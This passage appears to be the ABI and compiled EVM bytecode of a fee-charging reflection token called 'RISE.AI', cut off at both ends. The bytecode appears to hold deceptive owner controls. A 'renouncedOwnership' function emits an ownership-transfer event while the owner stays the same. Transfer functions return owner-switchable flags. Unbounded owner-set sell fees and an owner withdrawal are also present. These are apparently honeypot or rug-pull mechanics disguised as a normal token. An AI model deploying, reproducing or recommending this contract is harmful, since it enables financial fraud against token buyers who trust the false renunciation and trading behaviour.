":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renouncedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000be919062000a57565b64174876e800620000d0919062000b94565b600d55600d54600019620000e5919062000c7b565b600019620000f4919062000bf5565b600e556002600f5561012c60105560405180608001604052806000815260200160008152602001600081526020016000815250601860008201518160000155602082015181600101556040820151816002015560608201518160030155505060405180608001604052806000815260200160008152602001600081526020016000815250601c6000820151816000015560208201518160010155604082015181600201556060820151816003015550506001602560146101000a81548160ff0219169083151502179055506001602560166101000a81548160ff0219169083151502179055506001602560176101000a81548160ff0219169083151502179055503480156200020257600080fd5b506000620002156200091660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600e5460036000620002ca6200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036857600080fd5b505afa1580156200037d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a391906200095e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200040657600080fd5b505afa1580156200041b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044191906200095e565b6040518363ffffffff1660e01b815260040162000460929190620009b2565b602060405180830381600087803b1580156200047b57600080fd5b505af115801562000490573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b691906200095e565b602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006200054d6200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600073e853889c8c7a03c1f7935b87355dc58ecd3d92b073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a309080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008a66200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620009079190620009df565b60405180910390a35062000d3d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620009588162000d23565b92915050565b60006020828403121562000977576200097662000d11565b5b6000620009878482850162000947565b91505092915050565b6200099b8162000c30565b82525050565b620009ac8162000c64565b82525050565b6000604082019050620009c9600083018562000990565b620009d8602083018462000990565b9392505050565b6000602082019050620009f66000830184620009a1565b92915050565b6000808291508390505b600185111562000a4e5780860481111562000a265762000a2562000cb3565b5b600185161562000a365780820291505b808102905062000a468562000d16565b945062000a06565b94509492505050565b600062000a648262000c64565b915062000a718362000c6e565b925062000aa07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000aa8565b905092915050565b60008262000aba576001905062000b8d565b8162000aca576000905062000b8d565b816001811462000ae3576002811462000aee5762000b24565b600191505062000b8d565b60ff84111562000b035762000b0262000cb3565b5b8360020a91508482111562000b1d5762000b1c62000cb3565b5b5062000b8d565b5060208310610133831016604e8410600b841016171562000b5e5782820a90508381111562000b585762000b5762000cb3565b5b62000b8d565b62000b6d8484846001620009fc565b9250905081840481111562000b875762000b8662000cb3565b5b81810290505b9392505050565b600062000ba18262000c64565b915062000bae8362000c64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000bea5762000be962000cb3565b5b828202905092915050565b600062000c028262000c64565b915062000c0f8362000c64565b92508282101562000c255762000c2462000cb3565b5b828203905092915050565b600062000c3d8262000c44565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600062000c888262000c64565b915062000c958362000c64565b92508262000ca85762000ca762000ce2565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b62000d2e8162000c30565b811462000d3a57600080fd5b50565b614ff08062000d4d6000396000f3fe60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e6451914610a35578063ea2f0b3714610a72578063ecbde40c14610a9b578063f2fde38b14610ad8578063f77fb6b914610b01578063f921400514610b2a57610293565b8063a8be9a58146108ff578063a9059cbb1461093c578063bc0ad5a314610979578063c49b9a80146109a4578063cc5006b3146109cd578063dd62ed3e146109f857610293565b80638da5cb5b116101135780638da5cb5b146107d657806395d89b41146108015780639b26c9231461082c5780639ba5e4d514610857578063a39801c614610885578063a457c2d7146108c257610293565b806370a08231146106bd578063713898cd146106fa57806373cafdc214610728578063786564c41461075657806379fdd8321461077f5780638b7afe2e146107aa57610293565b80633685d419116101fe5780634549b039116101b75780634549b0391461059b5780634a74bb02146105d857806351ecfeae1461060357806352390c021461062c57806352892884146106555780635342acb41461068057610293565b80633685d4191461048f578063370f0a60146104b857806339509351146104e15780633ccfd60b1461051e5780634359a87114610535578063437823ec1461057257610293565b806323b872dd1161025057806323b872dd1461036d578063275d53ce146103aa5780632d838119146103d3578063313ce5671461041057806331b72ff01461043b57806334ef80bc1461046657610293565b806306fdde0314610298578063095ea7b3146102c357806316a9de141461030057806318160ddd1461032b57806320365d5f1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b55565b6040516102ba9190614673565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190614243565b610b92565b6040516102f7919061463d565b60405180910390f35b34801561030c57600080fd5b50610315610bb0565b6040516103229190614622565b60405180910390f35b34801561033757600080fd5b50610340610bd6565b60405161034d9190614835565b60405180910390f35b34801561036257600080fd5b5061036b610be0565b005b34801561037957600080fd5b50610394600480360381019061038f91906141f0565b610d58565b6040516103a1919061463d565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614283565b610e3f565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906142b0565b610ed8565b6040516104079190614835565b60405180910390f35b34801561041c57600080fd5b50610425610f3f565b60405161043291906148be565b60405180910390f35b34801561044757600080fd5b50610450610f48565b60405161045d9190614835565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906142b0565b610f4e565b005b34801561049b57600080fd5b506104b660048036038101906104b19190614183565b610fd4565b005b3480156104c457600080fd5b506104df60048036038101906104da9190614183565b61130a565b005b3480156104ed57600080fd5b5061050860048036038101906105039190614243565b61155b565b604051610515919061463d565b60405180910390f35b34801561052a57600080fd5b50610533611607565b005b34801561054157600080fd5b5061055c60048036038101906105579190614183565b6116d2565b6040516105699190614835565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190614183565b61171b565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906142dd565b6117f2565b6040516105cf9190614835565b60405180910390f35b3480156105e457600080fd5b506105ed611878565b6040516105fa919061463d565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190614370565b61188b565b005b34801561063857600080fd5b50610653600480360381019061064e9190614183565b611935565b005b34801561066157600080fd5b5061066a611bd0565b6040516106779190614622565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a29190614183565b611bf6565b6040516106b4919061463d565b60405180910390f35b3480156106c957600080fd5b506106e460048036038101906106df9190614183565b611c4c565b6040516106f19190614835565b60405180910390f35b34801561070657600080fd5b5061070f611d37565b60405161071f9493929190614879565b60405180910390f35b34801561073457600080fd5b5061073d611d55565b60405161074d9493929190614879565b60405180910390f35b34801561076257600080fd5b5061077d60048036038101906107789190614370565b611d73565b005b34801561078b57600080fd5b50610794611e1d565b6040516107a19190614658565b60405180910390f35b3480156107b657600080fd5b506107bf611e43565b6040516107cd929190614850565b60405180910390f35b3480156107e257600080fd5b506107eb611e55565b6040516107f89190614622565b60405180910390f35b34801561080d57600080fd5b50610816611e7e565b6040516108239190614673565b60405180910390f35b34801561083857600080fd5b50610841611ebb565b60405161084e9190614835565b60405180910390f35b34801561086357600080fd5b5061086c611ec1565b60405161087c9493929190614879565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a7919061431d565b611edf565b6040516108b9919061463d565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190614243565b611f9d565b6040516108f6919061463d565b60405180910390f35b34801561090b57600080fd5b5061092660048036038101906109219190614183565b61206a565b6040516109339190614835565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e9190614243565b612082565b604051610970919061463d565b60405180910390f35b34801561098557600080fd5b5061098e6120ae565b60405161099b919061463d565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614283565b6120c1565b005b3480156109d957600080fd5b506109e2612191565b6040516109ef9190614622565b60405180910390f35b348015610a0457600080fd5b50610a1f6004803603810190610a1a91906141b0565b6121b7565b604051610a2c9190614835565b60405180910390f35b348015610a4157600080fd5b50610a5c6004803603810190610a579190614183565b61223e565b604051610a699190614835565b60405180910390f35b348015610a7e57600080fd5b50610a996004803603810190610a949190614183565b612287565b005b348015610aa757600080fd5b50610ac26004803603810190610abd9190614183565b61235e565b604051610acf9190614835565b60405180910390f35b348015610ae457600080fd5b50610aff6004803603810190610afa9190614183565b612376565b005b348015610b0d57600080fd5b50610b286004803603810190610b239190614283565b61251f565b005b348015610b3657600080fd5b50610b3f6125b8565b604051610b4c9190614622565b60405180910390f35b60606040518060400160405280600681526020017f5249534541490000000000000000000000000000000000000000000000000000815250905090565b6000610ba6610b9f6125de565b84846125e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b610be86125de565b73ffffffffffffffffffffffffffffffffffffffff16610c06611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390614795565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d658484846127b1565b610e2684610d716125de565b610e2185604051806060016040528060288152602001614f6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd76125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b602560169054906101000a900460ff1690509392505050565b610e476125de565b73ffffffffffffffffffffffffffffffffffffffff16610e65611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290614795565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b6000600e54821115610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f16906146d5565b60405180910390fd5b6000610f29612a26565b90508083610f37919061494b565b915050919050565b60006009905090565b60105481565b610f566125de565b73ffffffffffffffffffffffffffffffffffffffff16610f74611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190614795565b60405180910390fd5b8060108190555050565b610fdc6125de565b73ffffffffffffffffffffffffffffffffffffffff16610ffa611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390614755565b60405180910390fd5b60005b600a80549050811015611306578173ffffffffffffffffffffffffffffffffffffffff16600a828154811061111757611116614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112f357600a6001600a8054905061117291906149d6565b8154811061118357611182614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a82815481106111c2576111c1614b9e565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8054806112b9576112b8614b6f565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611306565b80806112fe90614ac8565b9150506110df565b5050565b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114eb576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561148757611443600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611557816001612a4a90919063ffffffff16565b5050565b60006115fd6115686125de565b8484600560006115766125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f891906148f5565b6125e6565b6001905092915050565b61160f6125de565b73ffffffffffffffffffffffffffffffffffffffff1661162d611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90614795565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116ce573d6000803e3d6000fd5b5050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117236125de565b73ffffffffffffffffffffffffffffffffffffffff16611741611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e90614795565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d54831115611839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183090614775565b60405180910390fd5b8161185a57600061184b846001612a7a565b90508060000151915050611872565b6000611867846001612a7a565b905080602001519150505b92915050565b602560179054906101000a900460ff1681565b6118936125de565b73ffffffffffffffffffffffffffffffffffffffff166118b1611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90614795565b60405180910390fd5b8360186000018190555082601860010181905550816018600201819055508060186003018190555050505050565b61193d6125de565b73ffffffffffffffffffffffffffffffffffffffff1661195b611e55565b73ffffffffffffffffffffffffffffffffffffffff16146119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590614735565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b1257611ace600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce757600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611d32565b611d2f600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b90505b919050565b601c8060000154908060010154908060020154908060030154905084565b60188060000154908060010154908060020154908060030154905084565b611d7b6125de565b73ffffffffffffffffffffffffffffffffffffffff16611d99611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de690614795565b60405180910390fd5b83601c6000018190555082601c6001018190555081601c6002018190555080601c6003018190555050505050565b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60168060000154908060010154905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f524953452e414900000000000000000000000000000000000000000000000000815250905090565b600f5481565b60128060000154908060010154908060020154908060030154905084565b600080841415611ef25760009050611f96565b60008442611f0091906149d6565b9050601054811415611f16576001915050611f96565b6000811415611f7f578273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f7e576000915050611f96565b5b838111611f90576001915050611f96565b60009150505b9392505050565b6000612060611faa6125de565b8461205b85604051806060016040528060258152602001614f966025913960056000611fd46125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b6001905092915050565b60086020528060005260406000206000915090505481565b600061209661208f6125de565b84846127b1565b602560149054906101000a900460ff16905092915050565b602560149054906101000a900460ff1681565b6120c96125de565b73ffffffffffffffffffffffffffffffffffffffff166120e7611e55565b73ffffffffffffffffffffffffffffffffffffffff161461213d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213490614795565b60405180910390fd5b80602560176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612186919061463d565b60405180910390a150565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61228f6125de565b73ffffffffffffffffffffffffffffffffffffffff166122ad611e55565b73ffffffffffffffffffffffffffffffffffffffff1614612303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fa90614795565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60096020528060005260406000206000915090505481565b61237e6125de565b73ffffffffffffffffffffffffffffffffffffffff1661239c611e55565b73ffffffffffffffffffffffffffffffffffffffff16146123f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e990614795565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612462576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612459906146f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6125276125de565b73ffffffffffffffffffffffffffffffffffffffff16612545611e55565b73ffffffffffffffffffffffffffffffffffffffff161461259b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259290614795565b60405180910390fd5b80602560146101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612656576040517f08c379a000000000000000000000000000000000000000000000000000